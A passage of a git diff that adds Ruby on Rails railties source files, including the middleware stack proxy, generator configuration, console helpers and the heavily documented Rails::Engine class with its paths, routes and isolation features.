+ environment: (ENV['RAILS_ENV'] || ENV['RACK_ENV'] || "development").dup,
+ daemonize: false,
+ debugger: false,
+ pid: File.expand_path("tmp/pids/server.pid"),
+ config: File.expand_path("config.ru")
+ })
+ end
+ end
+end
diff --git a/railties/lib/rails/commands/update.rb b/railties/lib/rails/commands/update.rb
new file mode 100644
index 0000000..59fae5c
--- /dev/null
+++ b/railties/lib/rails/commands/update.rb
@@ -0,0 +1,9 @@
+require File.expand_path(File.join(File.dirname(__FILE__), '..', 'generators'))
+
+if ARGV.size == 0
+ Rails::Generators.help
+ exit
+end
+
+name = ARGV.shift
+Rails::Generators.invoke name, ARGV, behavior: :skip
diff --git a/railties/lib/rails/configuration.rb b/railties/lib/rails/configuration.rb
new file mode 100644
index 0000000..15d13d5
--- /dev/null
+++ b/railties/lib/rails/configuration.rb
@@ -0,0 +1,116 @@
+require 'active_support/deprecation'
+require 'active_support/ordered_options'
+require 'active_support/core_ext/object'
+require 'rails/paths'
+require 'rails/rack'
+
+module Rails
+ module Configuration
+ # MiddlewareStackProxy is a proxy for the Rails middleware stack that allows
+ # you to configure middlewares in your application. It works basically as a
+ # command recorder, saving each command to be applied after initialization
+ # over the default middleware stack, so you can add, swap, or remove any
+ # middleware in Rails.
+ #
+ # You can add your own middlewares by using the +config.middleware.use+ method:
+ #
+ # config.middleware.use Magical::Unicorns
+ #
+ # This will put the <tt>Magical::Unicorns</tt> middleware on the end of the stack.
+ # You can use +insert_before+ if you wish to add a middleware before another:
+ #
+ # config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns
+ #
+ # There's also +insert_after+ which will insert a middleware after another:
+ #
+ # config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns
+ #
+ # Middlewares can also be completely swapped out and replaced with others:
+ #
+ # config.middleware.swap ActionDispatch::Flash, Magical::Unicorns
+ #
+ # And finally they can also be removed from the stack completely:
+ #
+ # config.middleware.delete ActionDispatch::Flash
+ #
+ class MiddlewareStackProxy
+ def initialize
+ @operations = []
+ end
+
+ def insert_before(*args, &block)
+ @operations << [__method__, args, block]
+ end
+
+ alias :insert :insert_before
+
+ def insert_after(*args, &block)
+ @operations << [__method__, args, block]
+ end
+
+ def swap(*args, &block)
+ @operations << [__method__, args, block]
+ end
+
+ def use(*args, &block)
+ @operations << [__method__, args, block]
+ end
+
+ def delete(*args, &block)
+ @operations << [__method__, args, block]
+ end
+
+ def merge_into(other) #:nodoc:
+ @operations.each do |operation, args, block|
+ other.send(operation, *args, &block)
+ end
+ other
+ end
+ end
+
+ class Generators #:nodoc:
+ attr_accessor :aliases, :options, :templates, :fallbacks, :colorize_logging
+ attr_reader :hidden_namespaces
+
+ def initialize
+ @aliases = Hash.new { |h,k| h[k] = {} }
+ @options = Hash.new { |h,k| h[k] = {} }
+ @fallbacks = {}
+ @templates = []
+ @colorize_logging = true
+ @hidden_namespaces = []
+ end
+
+ def initialize_copy(source)
+ @aliases = @aliases.deep_dup
+ @options = @options.deep_dup
+ @fallbacks = @fallbacks.deep_dup
+ @templates = @templates.dup
+ end
+
+ def hide_namespace(namespace)
+ @hidden_namespaces << namespace
+ end
+
+ def method_missing(method, *args)
+ method = method.to_s.sub(/=$/, '').to_sym
+
+ return @options[method] if args.empty?
+
+ if method == :rails || args.first.is_a?(Hash)
+ namespace, configuration = method, args.shift
+ else
+ namespace, configuration = args.shift, args.shift
+ namespace = namespace.to_sym if namespace.respond_to?(:to_sym)
+ @options[:rails][method] = namespace
+ end
+
+ if configuration
+ aliases = configuration.delete(:aliases)
+ @aliases[namespace].merge!(aliases) if aliases
+ @options[namespace].merge!(configuration)
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/console/app.rb b/railties/lib/rails/console/app.rb
new file mode 100644
index 0000000..2a69c26
--- /dev/null
+++ b/railties/lib/rails/console/app.rb
@@ -0,0 +1,32 @@
+require 'active_support/all'
+require 'action_controller'
+
+module Rails
+ module ConsoleMethods
+ # reference the global "app" instance, created on demand. To recreate the
+ # instance, pass a non-false value as the parameter.
+ def app(create=false)
+ @app_integration_instance = nil if create
+ @app_integration_instance ||= new_session do |sess|
+ sess.host! "www.example.com"
+ end
+ end
+
+ # create a new session. If a block is given, the new session will be yielded
+ # to the block before being returned.
+ def new_session
+ app = Rails.application
+ session = ActionDispatch::Integration::Session.new(app)
+ yield session if block_given?
+ session
+ end
+
+ # reloads the environment
+ def reload!(print=true)
+ puts "Reloading..." if print
+ ActionDispatch::Reloader.cleanup!
+ ActionDispatch::Reloader.prepare!
+ true
+ end
+ end
+end
diff --git a/railties/lib/rails/console/helpers.rb b/railties/lib/rails/console/helpers.rb
new file mode 100644
index 0000000..230d3d9
--- /dev/null
+++ b/railties/lib/rails/console/helpers.rb
@@ -0,0 +1,11 @@
+module Rails
+ module ConsoleMethods
+ def helper
+ @helper ||= ApplicationController.helpers
+ end
+
+ def controller
+ @controller ||= ApplicationController.new
+ end
+ end
+end
diff --git a/railties/lib/rails/deprecation.rb b/railties/lib/rails/deprecation.rb
new file mode 100644
index 0000000..89f5406
--- /dev/null
+++ b/railties/lib/rails/deprecation.rb
@@ -0,0 +1,19 @@
+require 'active_support/deprecation/proxy_wrappers'
+
+module Rails
+ class DeprecatedConstant < ActiveSupport::Deprecation::DeprecatedConstantProxy
+ def self.deprecate(old, current)
+ # double assignment is used to avoid "assigned but unused variable" warning
+ constant = constant = new(old, current)
+ eval "::#{old} = constant"
+ end
+
+ private
+
+ def target
+ ::Kernel.eval @new_const.to_s
+ end
+ end
+
+ DeprecatedConstant.deprecate('RAILS_CACHE', '::Rails.cache')
+end
diff --git a/railties/lib/rails/engine.rb b/railties/lib/rails/engine.rb
new file mode 100644
index 0000000..86f62df
--- /dev/null
+++ b/railties/lib/rails/engine.rb
@@ -0,0 +1,682 @@
+require 'rails/railtie'
+require 'rails/engine/railties'
+require 'active_support/core_ext/module/delegation'
+require 'pathname'
+require 'rbconfig'
+
+module Rails
+ # <tt>Rails::Engine</tt> allows you to wrap a specific Rails application or subset of
+ # functionality and share it with other applications or within a larger packaged application.
+ # Since Rails 3.0, every <tt>Rails::Application</tt> is just an engine, which allows for simple
+ # feature and application sharing.
+ #
+ # Any <tt>Rails::Engine</tt> is also a <tt>Rails::Railtie</tt>, so the same
+ # methods (like <tt>rake_tasks</tt> and +generators+) and configuration
+ # options that are available in railties can also be used in engines.
+ #
+ # == Creating an Engine
+ #
+ # In Rails versions prior to 3.0, your gems automatically behaved as engines, however,
+ # this coupled Rails to Rubygems. Since Rails 3.0, if you want a gem to automatically
+ # behave as an engine, you have to specify an +Engine+ for it somewhere inside
+ # your plugin's +lib+ folder (similar to how we specify a +Railtie+):
+ #
+ # # lib/my_engine.rb
+ # module MyEngine
+ # class Engine < Rails::Engine
+ # end
+ # end
+ #
+ # Then ensure that this file is loaded at the top of your <tt>config/application.rb</tt>
+ # (or in your +Gemfile+) and it will automatically load models, controllers and helpers
+ # inside +app+, load routes at <tt>config/routes.rb</tt>, load locales at
+ # <tt>config/locales/*</tt>, and load tasks at <tt>lib/tasks/*</tt>.
+ #
+ # == Configuration
+ #
+ # Besides the +Railtie+ configuration which is shared across the application, in a
+ # <tt>Rails::Engine</tt> you can access <tt>autoload_paths</tt>, <tt>eager_load_paths</tt>
+ # and <tt>autoload_once_paths</tt>, which, differently from a <tt>Railtie</tt>, are scoped to
+ # the current engine.
+ #
+ # class MyEngine < Rails::Engine
+ # # Add a load path for this specific Engine
+ # config.autoload_paths << File.expand_path("../lib/some/path", __FILE__)
+ #
+ # initializer "my_engine.add_middleware" do |app|
+ # app.middleware.use MyEngine::Middleware
+ # end
+ # end
+ #
+ # == Generators
+ #
+ # You can set up generators for engines with <tt>config.generators</tt> method:
+ #
+ # class MyEngine < Rails::Engine
+ # config.generators do |g|
+ # g.orm :active_record
+ # g.template_engine :erb
+ # g.test_framework :test_unit
+ # end
+ # end
+ #
+ # You can also set generators for an application by using <tt>config.app_generators</tt>:
+ #
+ # class MyEngine < Rails::Engine
+ # # note that you can also pass block to app_generators in the same way you
+ # # can pass it to generators method
+ # config.app_generators.orm :datamapper
+ # end
+ #
+ # == Paths
+ #
+ # Since Rails 3.0, applications and engines have more flexible path configuration (as
+ # opposed to the previous hardcoded path configuration). This means that you are not
+ # required to place your controllers at <tt>app/controllers</tt>, but in any place
+ # which you find convenient.
+ #
+ # For example, let's suppose you want to place your controllers in <tt>lib/controllers</tt>.
+ # You can set that as an option:
+ #
+ # class MyEngine < Rails::Engine
+ # paths["app/controllers"] = "lib/controllers"
+ # end
+ #
+ # You can also have your controllers loaded from both <tt>app/controllers</tt> and
+ # <tt>lib/controllers</tt>:
+ #
+ # class MyEngine < Rails::Engine
+ # paths["app/controllers"] << "lib/controllers"
+ # end
+ #
+ # The available paths in an engine are:
+ #
+ # class MyEngine < Rails::Engine
+ # paths["app"] # => ["app"]
+ # paths["app/controllers"] # => ["app/controllers"]
+ # paths["app/helpers"] # => ["app/helpers"]
+ # paths["app/models"] # => ["app/models"]
+ # paths["app/views"] # => ["app/views"]
+ # paths["lib"] # => ["lib"]
+ # paths["lib/tasks"] # => ["lib/tasks"]
+ # paths["config"] # => ["config"]
+ # paths["config/initializers"] # => ["config/initializers"]
+ # paths["config/locales"] # => ["config/locales"]
+ # paths["config/routes"] # => ["config/routes.rb"]
+ # end
+ #
+ # The <tt>Application</tt> class adds a couple more paths to this set. And as in your
+ # <tt>Application</tt>, all folders under +app+ are automatically added to the load path.
+ # If you have an <tt>app/services</tt> folder for example, it will be added by default.
+ #
+ # == Endpoint
+ #
+ # An engine can be also a rack application. It can be useful if you have a rack application that
+ # you would like to wrap with +Engine+ and provide some of the +Engine+'s features.
+ #
+ # To do that, use the +endpoint+ method:
+ #
+ # module MyEngine
+ # class Engine < Rails::Engine
+ # endpoint MyRackApplication
+ # end
+ # end
+ #
+ # Now you can mount your engine in application's routes just like that:
+ #
+ # MyRailsApp::Application.routes.draw do
+ # mount MyEngine::Engine => "/engine"
+ # end
+ #
+ # == Middleware stack
+ #
+ # As an engine can now be a rack endpoint, it can also have a middleware
+ # stack. The usage is exactly the same as in <tt>Application</tt>:
+ #
+ # module MyEngine
+ # class Engine < Rails::Engine
+ # middleware.use SomeMiddleware
+ # end
+ # end
+ #
+ # == Routes
+ #
+ # If you don't specify an endpoint, routes will be used as the default
+ # endpoint. You can use them just like you use an application's routes:
+ #
+ # # ENGINE/config/routes.rb
+ # MyEngine::Engine.routes.draw do
+ # get "/" => "posts#index"
+ # end
+ #
+ # == Mount priority
+ #
+ # Note that now there can be more than one router in your application, and it's better to avoid
+ # passing requests through many routers. Consider this situation:
+ #
+ # MyRailsApp::Application.routes.draw do
+ # mount MyEngine::Engine => "/blog"
+ # get "/blog/omg" => "main#omg"
+ # end
+ #
+ # +MyEngine+ is mounted at <tt>/blog</tt>, and <tt>/blog/omg</tt> points to application's
+ # controller. In such a situation, requests to <tt>/blog/omg</tt> will go through +MyEngine+,
+ # and if there is no such route in +Engine+'s routes, it will be dispatched to <tt>main#omg</tt>.
+ # It's much better to swap that:
+ #
+ # MyRailsApp::Application.routes.draw do
+ # get "/blog/omg" => "main#omg"
+ # mount MyEngine::Engine => "/blog"
+ # end
+ #
+ # Now, +Engine+ will get only requests that were not handled by +Application+.
+ #
+ # == Engine name
+ #
+ # There are some places where an Engine's name is used:
+ #
+ # * routes: when you mount an Engine with <tt>mount(MyEngine::Engine => '/my_engine')</tt>,
+ # it's used as default <tt>:as</tt> option
+ # * rake task for installing migrations <tt>my_engine:install:migrations</tt>
+ #
+ # Engine name is set by default based on class name. For <tt>MyEngine::Engine</tt> it will be
+ # <tt>my_engine_engine</tt>. You can change it manually using the <tt>engine_name</tt> method:
+ #
+ # module MyEngine
+ # class Engine < Rails::Engine
+ # engine_name "my_engine"
+ # end
+ # end
+ #
+ # == Isolated Engine
+ #
+ # Normally when you create controllers, helpers and models inside an engine, they are treated
+ # as if they were created inside the application itself. This means that all helpers and
+ # named routes from the application will be available to your engine's controllers as well.
+ #
+ # However, sometimes you want to isolate your engine from the application, especially if your engine
+ # has its own router. To do that, you simply need to call +isolate_namespace+. This method requires
+ # you to pass a module where all your controllers, helpers and models should be nested to:
+ #
+ # module MyEngine
+ # class Engine < Rails::Engine
+ # isolate_namespace MyEngine
+ # end
+ # end
+ #
+ # With such an engine, everything that is inside the +MyEngine+ module will be isolated from
+ # the application.
+ #
+ # Consider such controller:
+ #
+ # module MyEngine
+ # class FooController < ActionController::Base
+ # end
+ # end
+ #
+ # If an engine is marked as isolated, +FooController+ has access only to helpers from +Engine+ and
+ # <tt>url_helpers</tt> from <tt>MyEngine::Engine.routes</tt>.
+ #
+ # The next thing that changes in isolated engines is the behavior of routes. Normally, when you namespace
+ # your controllers, you also need to do namespace all your routes. With an isolated engine,
+ # the namespace is applied by default, so you can ignore it in routes:
+ #
+ # MyEngine::Engine.routes.draw do
+ # resources :articles
+ # end
+ #
+ # The routes above will automatically point to <tt>MyEngine::ArticlesController</tt>. Furthermore, you don't
+ # need to use longer url helpers like <tt>my_engine_articles_path</tt>. Instead, you should simply use
+ # <tt>articles_path</tt> as you would do with your application.
+ #
+ # To make that behavior consistent with other parts of the framework, an isolated engine also has influence on
+ # <tt>ActiveModel::Naming</tt>. When you use a namespaced model, like <tt>MyEngine::Article</tt>, it will normally
+ # use the prefix "my_engine". In an isolated engine, the prefix will be omitted in url helpers and
+ # form fields for convenience.
+ #
+ # polymorphic_url(MyEngine::Article.new) # => "articles_path"
+ #
+ # form_for(MyEngine::Article.new) do
+ # text_field :title # => <input type="text" name="article[title]" id="article_title" />
+ # end
+ #
+ # Additionally, an isolated engine will set its name according to namespace, so
+ # MyEngine::Engine.engine_name will be "my_engine". It will also set MyEngine.table_name_prefix
+ # to "my_engine_", changing the MyEngine::Article model to use the my_engine_articles table.
+ #
+ # == Using Engine's routes outside Engine
+ #
+ # Since you can now mount an engine inside application's routes, you do not have direct access to +Engine+'s
+ # <tt>url_helpers</tt> inside +Application+. When you mount an engine in an application's routes, a special helper is
+ # created to allow you to do that. Consider such a scenario:
+ #
+ # # config/routes.rb
+ # MyApplication::Application.routes.draw do
+ # mount MyEngine::Engine => "/my_engine", as: "my_engine"
+ # get "/foo" => "foo#index"
+ # end
+ #
+ # Now, you can use the <tt>my_engine</tt> helper inside your application:
+ #
+ # class FooController < ApplicationController
+ # def index
+ # my_engine.root_url #=> /my_engine/
+ # end
+ # end
+ #
+ # There is also a <tt>main_app</tt> helper that gives you access to application's routes inside Engine:
+ #
+ # module MyEngine
+ # class BarController
+ # def index
+ # main_app.foo_path #=> /foo
+ # end
+ # end
+ # end
+ #
+ # Note that the <tt>:as</tt> option given to mount takes the <tt>engine_name</tt> as default, so most of the time
+ # you can simply omit it.
+ #
+ # Finally, if you want to generate a url to an engine's route using
+ # <tt>polymorphic_url</tt>, you also need to pass the engine helper. Let's
+ # say that you want to create a form pointing to one of the engine's routes.
+ # All you need to do is pass the helper as the first element in array with
+ # attributes for url:
+ #
+ # form_for([my_engine, @user])
+ #
+ # This code will use <tt>my_engine.user_path(@user)</tt> to generate the proper route.
+ #
+ # == Isolated engine's helpers
+ #
+ # Sometimes you may want to isolate engine, but use helpers that are defined for it.
+ # If you want to share just a few specific helpers you can add them to application's
+ # helpers in ApplicationController:
+ #
+ # class ApplicationController < ActionController::Base
+ # helper MyEngine::SharedEngineHelper
+ # end
+ #
+ # If you want to include all of the engine's helpers, you can use #helper method on an engine's
+ # instance:
+ #
+ # class ApplicationController < ActionController::Base
+ # helper MyEngine::Engine.helpers
+ # end
+ #
+ # It will include all of the helpers from engine's directory. Take into account that this does
+ # not include helpers defined in controllers with helper_method or other similar solutions,
+ # only helpers defined in the helpers directory will be included.
+ #
+ # == Migrations & seed data
+ #
+ # Engines can have their own migrations. The default path for migrations is exactly the same
+ # as in application: <tt>db/migrate</tt>
+ #
+ # To use engine's migrations in application you can use rake task, which copies them to
+ # application's dir:
+ #
+ # rake ENGINE_NAME:install:migrations
+ #
+ # Note that some of the migrations may be skipped if a migration with the same name already exists
+ # in application. In such a situation you must decide whether to leave that migration or rename the
+ # migration in the application and rerun copying migrations.
+ #
+ # If your engine has migrations, you may also want to prepare data for the database in
+ # the <tt>db/seeds.rb</tt> file. You can load that data using the <tt>load_seed</tt> method, e.g.
+ #
+ # MyEngine::Engine.load_seed
+ #
+ # == Loading priority
+ #
+ # In order to change engine's priority you can use +config.railties_order+ in main application.
+ # It will affect the priority of loading views, helpers, assets and all the other files
+ # related to engine or application.
+ #
+ # # load Blog::Engine with highest priority, followed by application and other railties
+ # config.railties_order = [Blog::Engine, :main_app, :all]
+ class Engine < Railtie
+ autoload :Configuration, "rails/engine/configuration"
+
+ class << self
+ attr_accessor :called_from, :isolated
+
+ alias :isolated? :isolated
+ alias :engine_name :railtie_name
+
+ delegate :eager_load!, to: :instance
+
+ def inherited(base)
+ unless base.abstract_railtie?
+ Rails::Railtie::Configuration.eager_load_namespaces << base
+
+ base.called_from = begin
+ # Remove the line number from backtraces making sure we don't leave anything behind
+ call_stack = caller.map { |p| p.sub(/:\d+.*/, '') }
+ File.dirname(call_stack.detect { |p| p !~ %r[railties[\w.-]*/lib/rails|rack[\w.-]*/lib/rack] })
+ end
+ end
+
+ super
+ end
+
+ def endpoint(endpoint = nil)
+ @endpoint ||= nil
+ @endpoint = endpoint if endpoint
+ @endpoint
+ end
+
+ def isolate_namespace(mod)
+ engine_name(generate_railtie_name(mod))
+
+ self.routes.default_scope = { module: ActiveSupport::Inflector.underscore(mod.name) }
+ self.isolated = true
+
+ unless mod.respond_to?(:railtie_namespace)
+ name, railtie = engine_name, self
+
+ mod.singleton_class.instance_eval do
+ define_method(:railtie_namespace) { railtie }
+
+ unless mod.respond_to?(:table_name_prefix)
+ define_method(:table_name_prefix) { "#{name}_" }
+ end
+
+ unless mod.respond_to?(:use_relative_model_naming?)
+ class_eval "def use_relative_model_naming?; true; end", __FILE__, __LINE__
+ end
+
+ unless mod.respond_to?(:railtie_helpers_paths)
+ define_method(:railtie_helpers_paths) { railtie.helpers_paths }
+ end
+
+ unless mod.respond_to?(:railtie_routes_url_helpers)
+ define_method(:railtie_routes_url_helpers) { railtie.routes.url_helpers }
+ end
+ end
+ end
+ end
+
+ # Finds engine with given path
+ def find(path)
+ expanded_path = File.expand_path path
+ Rails::Engine.subclasses.each do |klass|
+ engine = klass.instance
+ return engine if File.expand_path(engine.root) == expanded_path
+ end
+ nil
+ end
+ end
+
+ delegate :middleware, :root, :paths, to: :config
+ delegate :engine_name, :isolated?, to: :class
+
+ def initialize
+ @_all_autoload_paths = nil
+ @_all_load_paths = nil
+ @app = nil
+ @config = nil
+ @env_config = nil
+ @helpers = nil
+ @routes = nil
+ super
+ end
+
+ # Load console and invoke the registered hooks.
+ # Check <tt>Rails::Railtie.console</tt> for more info.
+ def load_console(app=self)
+ require "pp"
+ require "rails/console/app"
+ require "rails/console/helpers"
+ run_console_blocks(app)
+ self
+ end
+
+ # Load Rails runner and invoke the registered hooks.
+ # Check <tt>Rails::Railtie.runner</tt> for more info.
+ def load_runner(app=self)
+ run_runner_blocks(app)
+ self
+ end
+
+ # Load Rake, railties tasks and invoke the registered hooks.
+ # Check <tt>Rails::Railtie.rake_tasks</tt> for more info.
+ def load_tasks(app=self)
+ require "rake"
+ run_tasks_blocks(app)
+ self
+ end
+
+ # Load rails generators and invoke the registered hooks.
+ # Check <tt>Rails::Railtie.generators</tt> for more info.
+ def load_generators(app=self)
+ require "rails/generators"
+ run_generators_blocks(app)
+ Rails::Generators.configure!(app.config.generators)
+ self
+ end
+
+ # Eager load the application by loading all ruby
+ # files inside eager_load paths.
+ def eager_load!
+ config.eager_load_paths.each do |load_path|
+ matcher = /\A#{Regexp.escape(load_path)}\/(.*)\.rb\Z/
+ Dir.glob("#{load_path}/**/*.rb").sort.each do |file|
+ require_dependency file.sub(matcher, '\1')
+ end
+ end
+ end
+
+ def railties
+ @railties ||= Railties.new
+ end
+
+ # Returns a module with all the helpers defined for the engine.
+ def helpers
+ @helpers ||= begin
+ helpers = Module.new
+ all = ActionController::Base.all_helpers_from_path(helpers_paths)
+ ActionController::Base.modules_for_helpers(all).each do |mod|
+ helpers.send(:include, mod)
+ end
+ helpers
+ end
+ end
+
+ # Returns all registered helpers paths.
+ def helpers_paths
+ paths["app/helpers"].existent
+ end
+
+ # Returns the underlying rack application for this engine.
+ def app
+ @app ||= begin
+ config.middleware = config.middleware.merge_into(default_middleware_stack)
+ config.middleware.build(endpoint)
+ end
+ end
+
+ # Returns the endpoint for this engine. If none is registered,
+ # defaults to an ActionDispatch::Routing::RouteSet.
+ def endpoint
+ self.class.endpoint || routes
+ end
+
+ # Define the Rack API for this engine.
+ def call(env)
+ env.merge!(env_config)
+ if env['SCRIPT_NAME']
+ env.merge! "ROUTES_#{routes.object_id}_SCRIPT_NAME" => env['SCRIPT_NAME'].dup
+ end
+ app.call(env)
+ end
+
+ # Defines additional Rack env configuration that is added on each call.
+ def env_config
+ @env_config ||= {
+ 'action_dispatch.routes' => routes
+ }
+ end
+
+ # Defines the routes for this engine. If a block is given to
+ # routes, it is appended to the engine.
+ def routes
+ @routes ||= ActionDispatch::Routing::RouteSet.new
+ @routes.append(&Proc.new) if block_given?
+ @routes
+ end
+
+ # Define the configuration object for the engine.
+ def config
+ @config ||= Engine::Configuration.new(find_root_with_flag("lib"))
+ end
+
+ # Load data from db/seeds.rb file. It can be used in to load engines'
+ # seeds, e.g.:
+ #
+ # Blog::Engine.load_seed
+ def load_seed
+ seed_file = paths["db/seeds.rb"].existent.first
+ load(seed_file) if seed_file
+ end
+
+ # Add configured load paths to ruby load paths and remove duplicates.
+ initializer :set_load_path, before: :bootstrap_hook do
+ _all_load_paths.reverse_each do |path|
+ $LOAD_PATH.unshift(path) if File.directory?(path)
+ end
+ $LOAD_PATH.uniq!
+ end
+
+ # Set the paths from which Rails will automatically load source files,
+ # and the load_once paths.
+ #
+ # This needs to be an initializer, since it needs to run once
+ # per engine and get the engine as a block parameter
+ initializer :set_autoload_paths, before: :bootstrap_hook do
+ ActiveSupport::Dependencies.autoload_paths.unshift(*_all_autoload_paths)
+ ActiveSupport::Dependencies.autoload_once_paths.unshift(*_all_autoload_once_paths)
+
+ # Freeze so future modifications will fail rather than do nothing mysteriously
+ config.autoload_paths.freeze
+ config.eager_load_paths.freeze
+ config.autoload_once_paths.freeze
+ end
+
+ initializer :add_routing_paths do |app|
+ paths = self.paths["config/routes.rb"].existent
+
+ if routes? || paths.any?
+ app.routes_reloader.paths.unshift(*paths)
+ app.routes_reloader.route_sets << routes
+ end
+ end
+
+ # I18n load paths are a special case since the ones added
+ # later have higher priority.
+ initializer :add_locales do
+ config.i18n.railties_load_path.concat(paths["config/locales"].existent)
+ end
+
+ initializer :add_view_paths do
+ views = paths["app/views"].existent
+ unless views.empty?
+ ActiveSupport.on_load(:action_controller){ prepend_view_path(views) if respond_to?(:prepend_view_path) }
+ ActiveSupport.on_load(:action_mailer){ prepend_view_path(views) }
+ end
+ end
+
+ initializer :load_environment_config, before: :load_environment_hook, group: :all do
+ paths["config/environments"].existent.each do |environment|
+ require environment
+ end
+ end
+
+ initializer :append_assets_path, group: :all do |app|
+ app.config.assets.paths.unshift(*paths["vendor/assets"].existent_directories)
+ app.config.assets.paths.unshift(*paths["lib/assets"].existent_directories)
+ app.config.assets.paths.unshift(*paths["app/assets"].existent_directories)
+ end
+
+ initializer :prepend_helpers_path do |app|
+ if !isolated? || (app == self)
+ app.config.helpers_paths.unshift(*paths["app/helpers"].existent)
+ end
+ end
+
+ initializer :load_config_initializers do
+ config.paths["config/initializers"].existent.sort.each do |initializer|
+ load(initializer)
+ end
+ end
+
+ initializer :engines_blank_point do
+ # We need this initializer so all extra initializers added in engines are
+ # consistently executed after all the initializers above across all engines.
+ end
+
+ rake_tasks do
+ next if self.is_a?(Rails::Application)
+ next unless has_migrations?
+
+ namespace railtie_name do
+ namespace :install do
+ desc "Copy migrations from #{railtie_name} to application"
+ task :migrations do
+ ENV["FROM"] = railtie_name
+ if Rake::Task.task_defined?("railties:install:migrations")
+ Rake::Task["railties:install:migrations"].invoke
+ else
+ Rake::Task["app:railties:install:migrations"].invoke
+ end
+ end
+ end
+ end
+ end
+
+ protected
+
+ def run_tasks_blocks(*) #:nodoc:
+ super
+ paths["lib/tasks"].existent.sort.each { |ext| load(ext) }
+ end
+
+ def routes? #:nodoc:
+ @routes
+ end
+
+ def has_migrations? #:nodoc:
+ paths["db/migrate"].existent.any?
+ end
+
+ def find_root_with_flag(flag, default=nil) #:nodoc:
+ root_path = self.class.called_from
+
+ while root_path && File.directory?(root_path) && !File.exist?("#{root_path}/#{flag}")
+ parent = File.dirname(root_path)
+ root_path = parent != root_path && parent
+ end
+
+ root = File.exist?("#{root_path}/#{flag}") ? root_path : default
+ raise "Could not find root path for #{self}" unless root
+
+ Pathname.new File.realpath root
+ end
+
+ def default_middleware_stack #:nodoc:
+ ActionDispatch::MiddlewareStack.new
+ end
+
+ def _all_autoload_once_paths #:nodoc:
+ config.autoload_once_paths
+ end
+
+ def _all_autoload_paths #:nodoc:
+ @_all_autoload_paths ||= (config.autoload_paths + config.eager_load_paths + config.autoload_once_paths).uniq
+ end
+
+ def _all_load_paths #:nodoc:
+ @_all_load_paths ||= (config.paths.load_paths + _all_autoload_paths).uniq
+ end
+ end
+end
diff --git a/railties/lib/rails/engine/commands.rb b/railties/lib/rails/engine/commands.rb
new file mode 100644
index 0000000..072d162
--- /dev/null
+++ b/railties/lib/rails/engine/commands.rb
@@ -0,0 +1,41 @@
+ARGV << '--help' if ARGV.empty?
+
+aliases = {
+ "g" => "generate",
+ "d" => "destroy"
+}
+
+command = ARGV.shift
+command = aliases[command] || command
+
+require ENGINE_PATH
+engine = ::Rails::Engine.find(ENGINE_ROOT)
+
+case command
+when 'generate', 'destroy'
+ require 'rails/generators'
+ Rails::Generators.namespace = engine.railtie_namespace
+ engine.load_generators
+ require "rails/commands/#{command}"
+
+when '--version', '-v'
+ ARGV.unshift '--version'
+ require 'rails/commands/application'
+
+else
+ puts "Error: Command not recognized" unless %w(-h --help).include?(command)
+ puts <<-EOT
+Usage: rails COMMAND [ARGS]
+
+The common rails commands available for engines are:
+ generate Generate new code (short-cut alias: "g")
+ destroy Undo code generated with "generate" (short-cut alias: "d")
+
+All commands can be run with -h for more information.
+
+If you want to run any commands that need to be run in context
+of the application, like `rails server` or `rails console`,
+you should do it from application's directory (typically test/dummy).
+ EOT
+ exit(1)
+end
diff --git a/railties/lib/rails/engine/configuration.rb b/railties/lib/rails/engine/configuration.rb
new file mode 100644
index 0000000..10d1821
--- /dev/null
+++ b/railties/lib/rails/engine/configuration.rb
@@ -0,0 +1,91 @@
+require 'rails/railtie/configuration'
+
+module Rails
+ class Engine
+ class Configuration < ::Rails::Railtie::Configuration
+ attr_reader :root
+ attr_writer :middleware, :eager_load_paths, :autoload_once_paths, :autoload_paths
+
+ def initialize(root=nil)
+ super()
+ @root = root
+ @generators = app_generators.dup
+ end
+
+ # Returns the middleware stack for the engine.
+ def middleware
+ @middleware ||= Rails::Configuration::MiddlewareStackProxy.new
+ end
+
+ # Holds generators configuration:
+ #
+ # config.generators do |g|
+ # g.orm :data_mapper, migration: true
+ # g.template_engine :haml
+ # g.test_framework :rspec
+ # end
+ #
+ # If you want to disable color in console, do:
+ #
+ # config.generators.colorize_logging = false
+ #
+ def generators #:nodoc:
+ @generators ||= Rails::Configuration::Generators.new
+ yield(@generators) if block_given?
+ @generators
+ end
+
+ def paths
+ @paths ||= begin
+ paths = Rails::Paths::Root.new(@root)
+
+ paths.add "app", eager_load: true, glob: "*"
+ paths.add "app/assets", glob: "*"
+ paths.add "app/controllers", eager_load: true
+ paths.add "app/helpers", eager_load: true
+ paths.add "app/models", eager_load: true
+ paths.add "app/mailers", eager_load: true
+ paths.add "app/views"
+
+ paths.add "app/controllers/concerns", eager_load: true
+ paths.add "app/models/concerns", eager_load: true
+
+ paths.add "lib", load_path: true
+ paths.add "lib/assets", glob: "*"
+ paths.add "lib/tasks", glob: "**/*.rake"
+
+ paths.add "config"
+ paths.add "config/environments", glob: "#{Rails.env}.rb"
+ paths.add "config/initializers", glob: "**/*.rb"
+ paths.add "config/locales", glob: "*.{rb,yml}"
+ paths.add "config/routes.rb"
+
+ paths.add "db"
+ paths.add "db/migrate"
+ paths.add "db/seeds.rb"
+
+ paths.add "vendor", load_path: true
+ paths.add "vendor/assets", glob: "*"
+
+ paths
+ end
+ end
+
+ def root=(value)
+ @root = paths.path = Pathname.new(value).expand_path
+ end
+
+ def eager_load_paths
+ @eager_load_paths ||= paths.eager_load
+ end
+
+ def autoload_once_paths
+ @autoload_once_paths ||= paths.autoload_once
+ end
+
+ def autoload_paths
+ @autoload_paths ||= paths.autoload_paths
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/engine/railties.rb b/railties/lib/rails/engine/railties.rb
new file mode 100644
index 0000000..1081700
--- /dev/null
+++ b/railties/lib/rails/engine/railties.rb
@@ -0,0 +1,29 @@
+module Rails
+ class Engine < Railtie
+ class Railties
+ include Enumerable
+ attr_reader :_all
+
+ def initialize
+ @_all ||= ::Rails::Railtie.subclasses.map(&:instance) +
+ ::Rails::Engine.subclasses.map(&:instance)
+ end
+
+ def self.engines
+ @engines ||= ::Rails::Engine.subclasses.map(&:instance)
+ end
+
+ def each(*args, &block)
+ _all.each(*args, &block)
+ end
+
+ def -(others)
+ _all - others
+ end
+
+ delegate :engines, to: "self.class"
+ end
+ end
+end
+
+ActiveSupport::Deprecation.deprecate_methods(Rails::Engine::Railties, :engines)
diff --git a/railties/lib/rails/generators.rb b/railties/lib/rails/generators.rb
new file mode 100644
